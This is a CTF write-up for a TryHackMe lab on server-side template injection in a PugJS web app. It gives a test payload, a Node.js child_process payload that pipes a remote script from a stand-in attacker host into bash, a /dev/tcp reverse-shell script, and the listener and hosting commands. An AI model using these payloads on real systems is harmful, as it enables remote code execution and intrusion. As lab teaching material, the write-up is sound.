Templates - TryHackMe
CTF Writeup for Templates from TryHackMe

This is a CTF by TryHackMe based on SSTI abuse.
By the looks of it, this will be purely a web based CTF, so I'm going to skip the usual nmap scan that would've been done; instead navigate to http://<ipv4>:5000/ .
Now for testing this, I researched online and found that PugJS was based on NodeJS; this will be good to know later, for now check HackTricks.
From this we can see it's giving direct user input into the template engine.
Security Note: Server Side Templates
In the real world this is almost the worst thing you could do; you always try to give the user the least amount of ability to manipulate the input to the framework, and anything that has to be retrieved from a user should be sanitized.
Now I went through and tested a small sample size of payloads of <10 and found one that proved SSTI was capable.
doctype html
head
title Pug
script.
console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
p You are amazing
p #{7*7}
With this result in mind we can now work on trying to get a reverse shell off the host; remember to keep in mind that the payloads will have to be NodeJS compatible.
I started testing the placement of the payloads within the template and found that it just works to leave it after the indented 'p'; following this I found a payload that worked well for me under the PugJS section of hacktricks SSTI.
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl <attacker-ipv4>:8000/payload.sh | bash')}()}
This is a two part payload because you also need to make this 'payload.sh', host it, and also have the netcat listener running; let's make the 'payload.sh' first.
#!/bin/bash
sh -i >& /dev/tcp/<attacker-ipv4>/<port> 0>&1
user$ python3 -m http.server
> Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
user$ nc -lvnp <port>
doctype html
head
title Pug
script.
console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
p You are amazing
p #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl <attacker-ipv4>:8000/payload.sh | bash')}()}
Now we have the reverse shell; you'll notice that the flag.txt is already there so no need for priviliege excalation on this one, go ahead and collect it.
Good example of SSTI and what to avoid when building a web application.
That's all :) .